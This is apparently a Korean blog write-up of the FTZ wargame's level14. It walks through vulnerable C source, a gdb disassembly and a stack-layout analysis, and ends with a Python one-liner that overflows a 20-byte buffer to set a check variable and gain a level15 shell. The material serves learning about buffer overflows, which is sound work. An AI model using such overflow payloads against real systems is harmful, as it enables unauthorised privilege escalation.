FTZ level14

c0wb3ll ㅣ 2020. 3. 11. 05:21

FTZ level14

문제

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}    

[level14@ftz level14]$ 

그렇다고 한다.

소스 코드의 구성 내용은 이러하다.

  1. buf의 크기는 20이다.
  2. fgets()함수를 이용하여 45의 크기 만큼 buf에 입력받는다.
  3. check 변수의 값이 deadbeef라면 권한을 설정하고 /bin/sh을 실행한다.

취약점

//#include <stdio.h>
//#include <unistd.h>

//main()
{ //int crap;
  //int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}    

[level14@ftz level14]$ 
  1. buf의 크기는 20이다.
  2. fgets()함수로 45byte만큼 buf에 입력 받는다.
  3. 입력할 때 제한된 크기가 buf보다 크기 때문에 buf의 크기를 넘어 메모리를 뒤덮을 수 있다.

풀이

(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   ebp
0x08048491 <main+1>:    mov    ebp,esp
0x08048493 <main+3>:    sub    esp,0x38
0x08048496 <main+6>:    sub    esp,0x4
0x08048499 <main+9>:    push   ds:0x8049664
0x0804849f <main+15>:    push   0x2d
0x080484a1 <main+17>:    lea    eax,[ebp-56]
0x080484a4 <main+20>:    push   eax
0x080484a5 <main+21>:    call   0x8048360 <fgets>
0x080484aa <main+26>:    add    esp,0x10
0x080484ad <main+29>:    cmp    DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>:    jne    0x80484db <main+75>
0x080484b6 <main+38>:    sub    esp,0x8
0x080484b9 <main+41>:    push   0xc17
0x080484be <main+46>:    push   0xc17
0x080484c3 <main+51>:    call   0x8048380 <setreuid>
0x080484c8 <main+56>:    add    esp,0x10
0x080484cb <main+59>:    sub    esp,0xc
0x080484ce <main+62>:    push   0x8048548
0x080484d3 <main+67>:    call   0x8048340 <system>
0x080484d8 <main+72>:    add    esp,0x10
0x080484db <main+75>:    leave  
0x080484dc <main+76>:    ret    
0x080484dd <main+77>:    lea    esi,[esi]
End of assembler dump.
(gdb) 
  1. fgets()함수를 이용해 ebp-56에서 부터 입력을 받는다.
  2. ebp-16에서 deadbeef와 비교해 그 값이 틀리면 main+76 (ret)로 점프한다.

image

그림으로 나타내면 이럴 것이다.

익스코드

buf[20] + dummy[20] + 0xdeadbeef

이 후는 함수에서 자체적으로 권한 설정을 한 뒤 /bin/sh을 실행시켜주기 때문에 ret를 변조할 필요는 없을 것 같다.

[level14@ftz level14]$ (python -c "print 'A'*40 + '\xef\xbe\xad\xde'";cat) | ./attackme 
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)

성공적으로 level15의 권한을 얻는데 성공하였다.